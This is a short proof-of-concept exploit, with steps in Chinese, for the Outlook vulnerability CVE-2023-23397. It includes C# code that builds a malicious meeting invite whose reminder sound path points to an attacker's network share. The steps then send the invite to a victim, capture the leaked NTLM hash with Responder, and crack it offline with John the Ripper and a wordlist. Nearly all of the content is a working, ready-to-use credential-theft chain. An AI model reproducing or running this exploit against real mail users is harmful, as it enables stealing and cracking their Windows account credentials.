CVE-2023-23397 C# PoC
1- 下载 msgkit
2- 编辑约会类并添加以下内容：
3- 在项目中创建一个新类，用于设置 msg 文件的属性：
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- 将项目的输出类型更改为控制台：
5- 运行项目以生成 dirty.msg
6- 将邮件发送给易受攻击的目标，并等待会议提醒触发。
6-2- 等待期间，在 Kali 机器（其 IP 已设置在主类中）上运行以下命令，持续监听是否有任何人上钩： # responder -I eth0 -v
7- 一旦获取到哈希值，将其存储到文件中，并使用 john ripper 对哈希值进行破解（使用字典，例如 rockyou）